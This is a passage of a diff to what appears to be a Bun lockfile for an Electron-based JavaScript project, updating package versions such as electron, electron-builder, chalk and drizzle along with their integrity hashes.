["builder-util@26.16.0", "", { "dependencies": { "@types/debug": "^4.1.6", "builder-util-runtime": "9.7.0", "chalk": "^4.1.2", "cross-spawn": "^7.0.6", "debug": "^4.3.4", "fs-extra": "^10.1.0", "http-proxy-agent": "^7.0.0", "https-proxy-agent": "^7.0.0", "js-yaml": "^4.1.0", "sanitize-filename": "^1.6.3", "source-map-support": "^0.5.19", "stat-mode": "^1.0.0", "temp-file": "^3.4.0", "tiny-async-pool": "1.3.0" } }, "sha512-RLyJhB7Si3YkzKR9ubQslWuXW3Vhs3CGe1i+SeixBZ0qTd1mk3XBmssvY22TlB6CS5blyko8Gu1JzpYk8UkYAg=="], - "builder-util-runtime": ["builder-util-runtime@9.5.1", "", { "dependencies": { "debug": "^4.3.4", "sax": "^1.2.4" } }, "sha512-qt41tMfgHTllhResqM5DcnHyDIWNgzHvuY2jDcYP9iaGpkWxTUzV6GQjDeLnlR1/DtdlcsWQbA7sByMpmJFTLQ=="], + "builder-util-runtime": ["builder-util-runtime@9.7.0", "", { "dependencies": { "debug": "^4.3.4", "sax": "^1.2.4" } }, "sha512-g/kR520giAFYkSXTzcmF3kqQq7wi8F6N6SzeDgZrqTBN+VHdmgWOyTdD1yD7AATDId/yXLvuP34CxW46/BwCdw=="], + + "bytes": ["bytes@3.1.2", "", {}, "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg=="], + + "bytestreamjs": ["bytestreamjs@2.0.1", "", {}, "sha512-U1Z/ob71V/bXfVABvNr/Kumf5VyeQRBEm6Txb0PQ6S7V5GpBM3w4Cbqz/xPDicR5tN0uvDifng8C+5qECeGwyQ=="], "cacache": ["cacache@19.0.1", "", { "dependencies": { "@npmcli/fs": "^4.0.0", "fs-minipass": "^3.0.0", "glob": "^10.2.2", "lru-cache": "^10.0.1", "minipass": "^7.0.3", "minipass-collect": "^2.0.1", "minipass-flush": "^1.0.5", "minipass-pipeline": "^1.2.4", "p-map": "^7.0.2", "ssri": "^12.0.0", "tar": "^7.4.3", "unique-filename": "^4.0.0" } }, "sha512-hdsUxulXCi5STId78vRVYEtDAjq99ICAUktLTeTYsLoTE6Z8dS0c8pWNCxwdrk9YfJeobDZc2Y186hD/5ZQgFQ=="], @@ -1151,7 +1029,7 @@ "cfb": ["cfb@1.2.2", "", { "dependencies": { "adler-32": "~1.3.0", "crc-32": "~1.2.0" } }, "sha512-KfdUZsSOw19/ObEWasvBP/Ac4reZvAGauZhs6S/gqNhXhI7cKwvlH7ulj+dOEYnca4bm4SGo8C1bTAQvnTjgQA=="], - "chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="], + "chalk": ["chalk@5.6.2", "", {}, "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA=="], "character-entities": ["character-entities@2.0.2", "", {}, "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ=="], @@ -1167,15 +1045,15 @@ "ci-info": ["ci-info@4.4.0", "", {}, "sha512-77PSwercCZU2Fc4sX94eF8k8Pxte6JAwL4/ICZLFjJLqegs7kCuAsqqj/70NQF6TvDpgFjkubQB2FW2ZZddvQg=="], - "cli-cursor": ["cli-cursor@5.0.0", "", { "dependencies": { "restore-cursor": "^5.0.0" } }, "sha512-aCj4O5wKyszjMmDT4tZj93kxyydN/K5zPWSCe6/0AV/AA1pqe5ZBIw0a2ZfPQV7lL5/yb5HsUreJ6UFAF1tEQw=="], + "cli-cursor": ["cli-cursor@3.1.0", "", { "dependencies": { "restore-cursor": "^3.1.0" } }, "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw=="], "cli-spinners": ["cli-spinners@2.9.2", "", {}, "sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg=="], - "cli-truncate": ["cli-truncate@5.2.0", "", { "dependencies": { "slice-ansi": "^8.0.0", "string-width": "^8.2.0" } }, "sha512-xRwvIOMGrfOAnM1JYtqQImuaNtDEv9v6oIYAs4LIHwTiKee8uwvIi363igssOC0O5U04i4AlENs79LQLu9tEMw=="], + "cli-truncate": ["cli-truncate@2.1.0", "", { "dependencies": { "slice-ansi": "^3.0.0", "string-width": "^4.2.0" } }, "sha512-n8fOixwDD6b/ObinzTrp1ZKFzbgvKZvuz/TvejnLn1aQfC6r52XEx85FmuC+3HI+JM7coBRXUvNqEU2PHVrHpg=="], "client-only": ["client-only@0.0.1", "", {}, "sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA=="], - "cliui": ["cliui@8.0.1", "", { "dependencies": { "string-width": "^4.2.0", "strip-ansi": "^6.0.1", "wrap-ansi": "^7.0.0" } }, "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ=="], + "cliui": ["cliui@9.0.1", "", { "dependencies": { "string-width": "^7.2.0", "strip-ansi": "^7.1.0", "wrap-ansi": "^9.0.0" } }, "sha512-k7ndgKhwoQveBL+/1tqGJYNz097I7WOvwbmmU2AR5+magtbjPWQTS1C5vzGkBC8Ym8UWRzfKUzUUqFLypY4Q+w=="], "clone": ["clone@1.0.4", "", {}, "sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg=="], @@ -1191,34 +1069,40 @@ "color-name": ["color-name@1.1.4", "", {}, "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="], - "colorette": ["colorette@2.0.20", "", {}, "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w=="], - "combined-stream": ["combined-stream@1.0.8", "", { "dependencies": { "delayed-stream": "~1.0.0" } }, "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg=="], "comma-separated-tokens": ["comma-separated-tokens@2.0.3", "", {}, "sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg=="], "commander": ["commander@14.0.3", "", {}, "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw=="], - "compare-func": ["compare-func@2.0.0", "", { "dependencies": { "array-ify": "^1.0.0", "dot-prop": "^5.1.0" } }, "sha512-zHig5N+tPWARooBnb0Zx1MFcdfpyJrfTJ3Y5L+IFvUm8rM74hHz66z0gw0x4tijh5CorKkKUCnW82R2vmpeCRA=="], - "compare-version": ["compare-version@0.1.2", "", {}, "sha512-pJDh5/4wrEnXX/VWRZvruAGHkzKdr46z11OlTPN+VrATlWWhSKewNCJ1futCO5C7eJB3nPMFZA1LeYtcFboZ2A=="], "concat-map": ["concat-map@0.0.1", "", {}, "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg=="], "concat-stream": ["concat-stream@2.0.0", "", { "dependencies": { "buffer-from": "^1.0.0", "inherits": "^2.0.3", "readable-stream": "^3.0.2", "typedarray": "^0.0.6" } }, "sha512-MWufYdFw53ccGjCA+Ol7XJYpAlW6/prSMzuPOTRnJGcGzuhLn4Scrz7qf6o8bROZ514ltazcIFJZevcfbo0x7A=="], - "concurrently": ["concurrently@9.2.1", "", { "dependencies": { "chalk": "4.1.2", "rxjs": "7.8.2", "shell-quote": "1.8.3", "supports-color": "8.1.1", "tree-kill": "1.2.2", "yargs": "17.7.2" }, "bin": { "conc": "dist/bin/concurrently.js", "concurrently": "dist/bin/concurrently.js" } }, "sha512-fsfrO0MxV64Znoy8/l1vVIjjHa29SZyyqPgQBwhiDcaW8wJc2W3XWVOGx4M3oJBnv/zdUZIIp1gDeS98GzP8Ng=="], + "concurrently": ["concurrently@10.0.5", "", { "dependencies": { "chalk": "5.6.2", "rxjs": "7.8.2", "shell-quote": "1.9.0", "supports-color": "10.2.2", "tree-kill": "1.2.2", "yargs": "18.0.0" }, "bin": { "conc": "dist/bin/index.js", "concurrently": "dist/bin/index.js" } }, "sha512-JaP/CoftUrCcAFW/g//RbgEGwlelnEae6cfBLgH6ZdO6s8jPkn6p9SB9u6pdVxYXoiSnFqseOlHfrEfF82TVOg=="], + + "content-disposition": ["content-disposition@1.1.0", "", {}, "sha512-5jRCH9Z/+DRP7rkvY83B+yGIGX96OYdJmzngqnw2SBSxqCFPd0w2km3s5iawpGX8krnwSGmF0FW5Nhr0Hfai3g=="], + + "content-type": ["content-type@1.0.5", "", {}, "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA=="], + + "conventional-changelog-angular": ["conventional-changelog-angular@9.4.0", "", { "dependencies": { "@conventional-changelog/template": "^1.4.0" } }, "sha512-HdxRxuS8bBXVIuo4V82gvSwAXT0vYQUizrjs/izmPg5JdDstr8v8I5hduGL3iQbG+o310dUDxC4+LetuS5hu9w=="], - "conventional-changelog-angular": ["conventional-changelog-angular@8.3.0", "", { "dependencies": { "compare-func": "^2.0.0" } }, "sha512-DOuBwYSqWzfwuRByY9O4oOIvDlkUCTDzfbOgcSbkY+imXXj+4tmrEFao3K+FxemClYfYnZzsvudbwrhje9VHDA=="], + "conventional-changelog-conventionalcommits": ["conventional-changelog-conventionalcommits@10.4.1", "", { "dependencies": { "@conventional-changelog/template": "^1.4.0" } }, "sha512-jS1LRFSbRoAr6JbhhRy1JYfNNUj5LM3+v49hRE03CgccsiYqgdVj/RTmrw4J1rylrqijHwdOlJWiJa61JHOgHg=="], - "conventional-changelog-conventionalcommits": ["conventional-changelog-conventionalcommits@9.3.0", "", { "dependencies": { "compare-func": "^2.0.0" } }, "sha512-kYFx6gAyjSIMwNtASkI3ZE99U1fuVDJr0yTYgVy+I2QG46zNZfl2her+0+eoviG82c5WQvW1jMt1eOQTeJLodA=="], + "conventional-commits-parser": ["conventional-commits-parser@7.1.3", "", { "dependencies": { "@simple-libs/stream-utils": "^2.0.0", "argue-cli": "^3.1.0" }, "bin": { "conventional-commits-parser": "./dist/cli/index.js" } }, "sha512-Q9oWm1o9uy/oEsZQIraoFMZ4RuPD+79KgwWj6mJVP356tazolCB0piRLZ5Kz9te9p027uSEcUW+Gu44Eh+X79g=="], - "conventional-commits-parser": ["conventional-commits-parser@6.3.0", "", { "dependencies": { "@simple-libs/stream-utils": "^1.2.0", "meow": "^13.0.0" }, "bin": { "conventional-commits-parser": "dist/cli/index.js" } }, "sha512-RfOq/Cqy9xV9bOA8N+ZH6DlrDR+5S3Mi0B5kACEjESpE+AviIpAptx9a9cFpWCCvgRtWT+0BbUw+e1BZfts9jg=="], + "cookie": ["cookie@0.7.2", "", {}, "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w=="], + + "cookie-signature": ["cookie-signature@1.2.2", "", {}, "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg=="], "copy-anything": ["copy-anything@4.0.5", "", { "dependencies": { "is-what": "^5.2.0" } }, "sha512-7Vv6asjS4gMOuILabD3l739tsaxFQmC+a7pLZm02zyvs8p977bL3zEgq3yDk5rn9B0PbYgIv++jmHcuUab4RhA=="], "core-util-is": ["core-util-is@1.0.2", "", {}, "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ=="], + "cors": ["cors@2.8.6", "", { "dependencies": { "object-assign": "^4", "vary": "^1" } }, "sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw=="], + "cosmiconfig": ["cosmiconfig@9.0.1", "", { "dependencies": { "env-paths": "^2.2.1", "import-fresh": "^3.3.0", "js-yaml": "^4.1.0", "parse-json": "^5.2.0" }, "peerDependencies": { "typescript": ">=4.9.5" }, "optionalPeers": ["typescript"] }, "sha512-hr4ihw+DBqcvrsEDioRO31Z17x71pUYoNe/4h6Z0wB72p7MU7/9gH8Q3s12NFhHPfYBBOV3qyfUxmr/Yn3shnQ=="], "cosmiconfig-typescript-loader": ["cosmiconfig-typescript-loader@6.2.0", "", { "dependencies": { "jiti": "^2.6.1" }, "peerDependencies": { "@types/node": "*", "cosmiconfig": ">=9", "typescript": ">=5" } }, "sha512-GEN39v7TgdxgIoNcdkRE3uiAzQt3UXLyHbRHD6YoL048XAeOomyxaP+Hh/+2C6C2wYjxJ2onhJcsQp+L4YEkVQ=="], @@ -1227,8 +1111,6 @@ "crc-32": ["crc-32@1.2.2", "", { "bin": { "crc32": "bin/crc32.njs" } }, "sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ=="], - "crelt": ["crelt@1.0.6", "", {}, "sha512-VQ2MBenTq1fWZUH9DJNGti7kKv6EeAuYr3cLwxUWhIu1baTaXh4Ib5W2CqHVqib4/MqbYGJqiL3Zb8GJZr3l4g=="], - "cronbake": ["cronbake@0.4.0", "", {}, "sha512-xxRy6KNi858/3RuBXHziRgcntSCXaT9FgEKkY8zh/72/yPD+8IpTfUWYxmwjFcYsce4jDvcunr7tXCq4vz5Hrw=="], "cross-dirname": ["cross-dirname@0.1.0", "", {}, "sha512-+R08/oI0nl3vfPcqftZRpytksBXDzOUveBq/NBVx0sUp1axwzPQrKinNx5yd5sxPu8j1wIy8AfnVQ+5eFdha6Q=="], @@ -1239,18 +1121,14 @@ "data-uri-to-buffer": ["data-uri-to-buffer@4.0.1", "", {}, "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A=="], - "date-fns": ["date-fns@4.1.0", "", {}, "sha512-Ukq0owbQXxa/U3EGtsdVBkR1w7KOQ5gIBqdH2hkvknzZPYvBxb/aa6E8L7tmjFtkwZBu3UXBbjIgPo/Ez4xaNg=="], + "date-fns": ["date-fns@4.4.0", "", {}, "sha512-+1UMbeh68lH1SegH83CGWwpb6OHHbpSgr3+s5Eww5M4CAgswBpoWS0AjTOfEJ33HiYKz1hdj/KTFprzXHmq/6w=="], "debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], - "decimal.js": ["decimal.js@10.6.0", "", {}, "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg=="], - "decode-named-character-reference": ["decode-named-character-reference@1.3.0", "", { "dependencies": { "character-entities": "^2.0.0" } }, "sha512-GtpQYB283KrPp6nRw50q3U9/VfOutZOe103qlN7BPP6Ad27xYnOIWv4lPzo8HCAL+mMZofJ9KEy30fq6MfaK6Q=="], "decompress-response": ["decompress-response@6.0.0", "", { "dependencies": { "mimic-response": "^3.1.0" } }, "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ=="], - "deep-extend": ["deep-extend@0.6.0", "", {}, "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA=="], - "defaults": ["defaults@1.0.4", "", { "dependencies": { "clone": "^1.0.2" } }, "sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A=="], "defer-to-connect": ["defer-to-connect@2.0.1", "", {}, "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg=="], @@ -1261,7 +1139,7 @@ "delayed-stream": ["delayed-stream@1.0.0", "", {}, "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ=="], - "denque": ["denque@2.1.0", "", {}, "sha512-HVQE3AAb/pxF8fQAoiqpvg9i3evqug3hoiwakOyZAwJm+6vZehbkYXZ0l4JxS+I3QxM97v5aaRNhj8v5oBhekw=="], + "depd": ["depd@2.0.0", "", {}, "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw=="], "dequal": ["dequal@2.0.3", "", {}, "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA=="], @@ -1273,25 +1151,25 @@ "devlop": ["devlop@1.1.0", "", { "dependencies": { "dequal": "^2.0.0" } }, "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA=="], - "diff": ["diff@8.0.3", "", {}, "sha512-qejHi7bcSD4hQAZE0tNAawRK1ZtafHDmMTMkrrIGgSLl7hTnQHmKCeB45xAcbfTqK2zowkM3j3bHt/4b/ARbYQ=="], + "diff": ["diff@9.0.0", "", {}, "sha512-svtcdpS8CgJyqAjEQIXdb3OjhFVVYjzGAPO8WGCmRbrml64SPw/jJD4GoE98aR7r25A0XcgrK3F02yw9R/vhQw=="], "dingbat-to-unicode": ["dingbat-to-unicode@1.0.1", "", {}, "sha512-98l0sW87ZT58pU4i61wa2OHwxbiYSbuxsCBozaVnYX2iCnr3bLM3fIes1/ej7h1YdOKuKt/MLs706TVnALA65w=="], "dir-compare": ["dir-compare@4.2.0", "", { "dependencies": { "minimatch": "^3.0.5", "p-limit": "^3.1.0 " } }, "sha512-2xMCmOoMrdQIPHdsTawECdNPwlVFB9zGcz3kuhmBO6U3oU+UQjsue0i8ayLKpgBcm+hcXPMVSGUN9d+pvJ6+VQ=="], - "dmg-builder": ["dmg-builder@26.8.1", "", { "dependencies": { "app-builder-lib": "26.8.1", "builder-util": "26.8.1", "fs-extra": "^10.1.0", "iconv-lite": "^0.6.2", "js-yaml": "^4.1.0" }, "optionalDependencies": { "dmg-license": "^1.0.11" } }, "sha512-glMJgnTreo8CFINujtAhCgN96QAqApDMZ8Vl1r8f0QT8QprvC1UCltV4CcWj20YoIyLZx6IUskaJZ0NV8fokcg=="], + "dmg-builder": ["dmg-builder@26.17.0", "", { "dependencies": { "app-builder-lib": "26.17.0", "builder-util": "26.16.0", "fs-extra": "^10.1.0", "js-yaml": "^4.1.0" } }, "sha512-EAw1f2iGkICmUvAVBOjm7v5mxJdB7/+OZSycHFhKBimiTkCXtvkCC6wBKzHo7ZQYi58C2MmwIleRbgRnROlK2Q=="], "dmg-license": ["dmg-license@1.0.11", "", { "dependencies": { "@types/plist": "^3.0.1", "@types/verror": "^1.10.3", "ajv": "^6.10.0", "crc": "^3.8.0", "iconv-corefoundation": "^1.1.7", "plist": "^3.0.4", "smart-buffer": "^4.0.2", "verror": "^1.10.0" }, "os": "darwin", "bin": { "dmg-license": "bin/dmg-license.js" } }, "sha512-ZdzmqwKmECOWJpqefloC5OJy1+WZBBse5+MR88z9g9Zn4VY+WYUkAyojmhzJckH5YbbZGcYIuGAkY5/Ys5OM2Q=="], - "dot-prop": ["dot-prop@5.3.0", "", { "dependencies": { "is-obj": "^2.0.0" } }, "sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q=="], + "dom-helpers": ["dom-helpers@5.2.1", "", { "dependencies": { "@babel/runtime": "^7.8.7", "csstype": "^3.0.2" } }, "sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA=="], "dotenv": ["dotenv@16.6.1", "", {}, "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow=="], "dotenv-expand": ["dotenv-expand@11.0.7", "", { "dependencies": { "dotenv": "^16.4.5" } }, "sha512-zIHwmZPRshsCdpMDyVsqGmgyP0yT8GAgXUnkdAoJisxvf33k7yO6OuoKmcTGuXPWSsm8Oh88nZicRLA9Y0rUeA=="], - "drizzle-kit": ["drizzle-kit@0.31.9", "", { "dependencies": { "@drizzle-team/brocli": "^0.10.2", "@esbuild-kit/esm-loader": "^2.5.5", "esbuild": "^0.25.4", "esbuild-register": "^3.5.0" }, "bin": { "drizzle-kit": "bin.cjs" } }, "sha512-GViD3IgsXn7trFyBUUHyTFBpH/FsHTxYJ66qdbVggxef4UBPHRYxQaRzYLTuekYnk9i5FIEL9pbBIwMqX/Uwrg=="], + "drizzle-kit": ["drizzle-kit@0.31.11", "", { "dependencies": { "@drizzle-team/brocli": "^0.10.2", "@esbuild-kit/esm-loader": "^2.5.5", "esbuild": "^0.25.4", "tsx": "^4.21.0" }, "bin": { "drizzle-kit": "bin.cjs" } }, "sha512-YCYqxTLIB2OCqf6w9/Vef13baBVbwQIPcbT4Y56AfO6B9ajZhDhD8Jkveg/hJvT/iuMloKD/IYYkyMMNhr7Kqg=="], - "drizzle-orm": ["drizzle-orm@0.45.1", "", { "peerDependencies": { "@aws-sdk/client-rds-data": ">=3", "@cloudflare/workers-types": ">=4", "@electric-sql/pglite": ">=0.2.0", "@libsql/client": ">=0.10.0", "@libsql/client-wasm": ">=0.10.0", "@neondatabase/serverless": ">=0.10.0", "@op-engineering/op-sqlite": ">=2", "@opentelemetry/api": "^1.4.1", "@planetscale/database": ">=1.13", "@prisma/client": "*", "@tidbcloud/serverless": "*", "@types/better-sqlite3": "*", "@types/pg": "*", "@types/sql.js": "*", "@upstash/redis": ">=1.34.7", "@vercel/postgres": ">=0.8.0", "@xata.io/client": "*", "better-sqlite3": ">=7", "bun-types": "*", "expo-sqlite": ">=14.0.0", "gel": ">=2", "knex": "*", "kysely": "*", "mysql2": ">=2", "pg": ">=8", "postgres": ">=3", "sql.js": ">=1", "sqlite3": ">=5" }, "optionalPeers": ["@aws-sdk/client-rds-data", "@cloudflare/workers-types", "@electric-sql/pglite", "@libsql/client", "@libsql/client-wasm", "@neondatabase/serverless", "@op-engineering/op-sqlite", "@opentelemetry/api", "@planetscale/database", "@prisma/client", "@tidbcloud/serverless", "@types/better-sqlite3", "@types/pg", "@types/sql.js", "@upstash/redis", "@vercel/postgres", "@xata.io/client", "better-sqlite3", "bun-types", "expo-sqlite", "gel", "knex", "kysely", "mysql2", "pg", "postgres", "sql.js", "sqlite3"] }, "sha512-Te0FOdKIistGNPMq2jscdqngBRfBpC8uMFVwqjf6gtTVJHIQ/dosgV/CLBU2N4ZJBsXL5savCba9b0YJskKdcA=="], + "drizzle-orm": ["drizzle-orm@0.45.3", "", { "peerDependencies": { "@aws-sdk/client-rds-data": ">=3", "@cloudflare/workers-types": ">=4", "@electric-sql/pglite": ">=0.2.0", "@libsql/client": ">=0.10.0", "@libsql/client-wasm": ">=0.10.0", "@neondatabase/serverless": ">=0.10.0", "@netlify/db": ">=0.4.0", "@op-engineering/op-sqlite": ">=2", "@opentelemetry/api": "^1.4.1", "@planetscale/database": ">=1.13", "@prisma/client": "*", "@tidbcloud/serverless": "*", "@types/better-sqlite3": "*", "@types/pg": "*", "@types/sql.js": "*", "@upstash/redis": ">=1.34.7", "@vercel/postgres": ">=0.8.0", "@xata.io/client": "*", "better-sqlite3": ">=7", "bun-types": "*", "expo-sqlite": ">=14.0.0", "gel": ">=2", "knex": "*", "kysely": "*", "mysql2": ">=2", "pg": ">=8", "postgres": ">=3", "sql.js": ">=1", "sqlite3": ">=5" }, "optionalPeers": ["@aws-sdk/client-rds-data", "@cloudflare/workers-types", "@electric-sql/pglite", "@libsql/client", "@libsql/client-wasm", "@neondatabase/serverless", "@netlify/db", "@op-engineering/op-sqlite", "@opentelemetry/api", "@planetscale/database", "@prisma/client", "@tidbcloud/serverless", "@types/better-sqlite3", "@types/pg", "@types/sql.js", "@upstash/redis", "@vercel/postgres", "@xata.io/client", "better-sqlite3", "bun-types", "expo-sqlite", "gel", "knex", "kysely", "mysql2", "pg", "postgres", "sql.js", "sqlite3"] }, "sha512-CAloER21cDdcgZ1OmjrZX82EeRNsdP+y0onX/eyoYDaYzki/adrAa91lzM5jWh7zZPK4qUbw/6LGv9J+A+uizA=="], "duck": ["duck@0.1.12", "", { "dependencies": { "underscore": "^1.13.1" } }, "sha512-wkctla1O6VfP89gQ+J/yDesM0S7B7XLXjKGzXxMDVFg7uEn706niAtyYovKbyq1oT9YwDcly721/iUWoc8MVRg=="], @@ -1303,34 +1181,34 @@ "ecdsa-sig-formatter": ["ecdsa-sig-formatter@1.0.11", "", { "dependencies": { "safe-buffer": "^5.0.1" } }, "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ=="], + "ee-first": ["ee-first@1.1.1", "", {}, "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow=="], + "ejs": ["ejs@3.1.10", "", { "dependencies": { "jake": "^10.8.5" }, "bin": { "ejs": "bin/cli.js" } }, "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA=="], - "electron": ["electron@40.8.0", "", { "dependencies": { "@electron/get": "^2.0.0", "@types/node": "^24.9.0", "extract-zip": "^2.0.1" }, "bin": { "electron": "cli.js" } }, "sha512-WoPq0Nr9Yx3g7T6VnJXdwa/rr2+VRyH3a+K+ezfMKBlf6WjxE/LmhMQabKbb6yjm9RbZhJBRcYyoLph421O2mQ=="], + "electron": ["electron@44.6.0", "", { "dependencies": { "@electron-internal/extract-zip": "^1.0.1", "@electron/get": "^5.0.0", "@types/node": "^24.9.0" }, "bin": { "electron": "cli.js", "install-electron": "install.js" } }, "sha512-qjzKZ82yTsAoo0Q/gqdy4PEMQkzYpukZqIduaHWZYHapFhK9wgWwU4YId60xHmwTCraqF4AfVCm05o90dZJKMQ=="], - "electron-builder": ["electron-builder@26.8.1", "", { "dependencies": { "app-builder-lib": "26.8.1", "builder-util": "26.8.1", "builder-util-runtime": "9.5.1", "chalk": "^4.1.2", "ci-info": "^4.2.0", "dmg-builder": "26.8.1", "fs-extra": "^10.1.0", "lazy-val": "^1.0.5", "simple-update-notifier": "2.0.0", "yargs": "^17.6.2" }, "bin": { "electron-builder": "cli.js", "install-app-deps": "install-app-deps.js" } }, "sha512-uWhx1r74NGpCagG0ULs/P9Nqv2nsoo+7eo4fLUOB8L8MdWltq9odW/uuLXMFCDGnPafknYLZgjNX0ZIFRzOQAw=="], + "electron-builder": ["electron-builder@26.17.0", "", { "dependencies": { "app-builder-lib": "26.17.0", "builder-util": "26.16.0", "builder-util-runtime": "9.7.0", "chalk": "^4.1.2", "ci-info": "^4.2.0", "dmg-builder": "26.17.0", "fs-extra": "^10.1.0", "lazy-val": "^1.0.5", "simple-update-notifier": "2.0.0", "yargs": "^17.6.2" }, "bin": { "electron-builder": "./cli.js", "install-app-deps": "./install-app-deps.js" } }, "sha512-iYHBRiagS9sDIbZx1ZD113f5rEGQvtpvTvHf70ovHKJ8mRvxwIkWX7JCwfmVQmVS4eX735p7TZmoxHnBPwF3vA=="], "electron-builder-squirrel-windows": ["electron-builder-squirrel-windows@26.8.1", "", { "dependencies": { "app-builder-lib": "26.8.1", "builder-util": "26.8.1", "electron-winstaller": "5.4.0" } }, 